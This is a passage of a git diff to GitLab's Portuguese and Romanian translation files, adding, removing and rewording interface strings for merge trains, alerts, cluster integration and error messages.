msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "Nenhuma aprovação necessária; ainda podes aprovar"
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr "Adicionar comentário e dispensa"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "Dispensar vulnerabilidade"
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 5189635b5b9..85654a79425 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:37\n"
+"PO-Revision-Date: 2020-09-04 23:01\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -58,13 +58,13 @@ msgstr[2] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -73,6 +73,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -343,6 +346,9 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -379,6 +385,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -439,6 +448,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -466,7 +478,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -553,9 +565,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -574,6 +583,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} ÃŽnceput"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} este blocat de utilizatorul GitLab %{lock_user_id}"
@@ -583,6 +595,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -700,6 +724,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -727,6 +754,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -742,6 +772,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -820,6 +853,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -853,6 +889,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -862,7 +901,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -907,6 +961,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1123,15 +1180,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1195,7 +1243,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1213,6 +1261,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1315,6 +1366,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1426,6 +1480,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1459,12 +1516,6 @@ msgstr[2] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1579,6 +1630,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1591,6 +1645,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1603,6 +1660,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1882,6 +1942,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1897,6 +1960,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2125,6 +2191,9 @@ msgstr[2] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2155,7 +2224,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2212,9 +2281,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2227,6 +2293,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2269,16 +2338,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2308,7 +2374,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2407,6 +2473,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2554,6 +2623,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2620,6 +2692,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2692,9 +2767,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2836,13 +2920,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2869,12 +2956,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2953,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3172,6 +3268,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3184,6 +3283,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3199,9 +3301,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3310,7 +3409,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3322,9 +3421,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3337,6 +3433,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3598,7 +3697,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3676,6 +3775,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3802,7 +3904,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3916,6 +4018,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3985,13 +4090,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4186,6 +4294,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4360,6 +4471,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4393,10 +4507,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4417,7 +4531,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4603,9 +4717,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4831,7 +4942,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4999,9 +5110,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5107,6 +5224,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5140,19 +5260,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5200,13 +5326,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5224,6 +5353,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5263,15 +5395,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5296,6 +5425,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5479,9 +5611,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5677,7 +5806,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5896,12 +6025,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5941,15 +6073,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5974,6 +6118,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6022,7 +6166,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6199,6 +6343,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6400,7 +6550,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6856,9 +7006,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6943,6 +7090,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
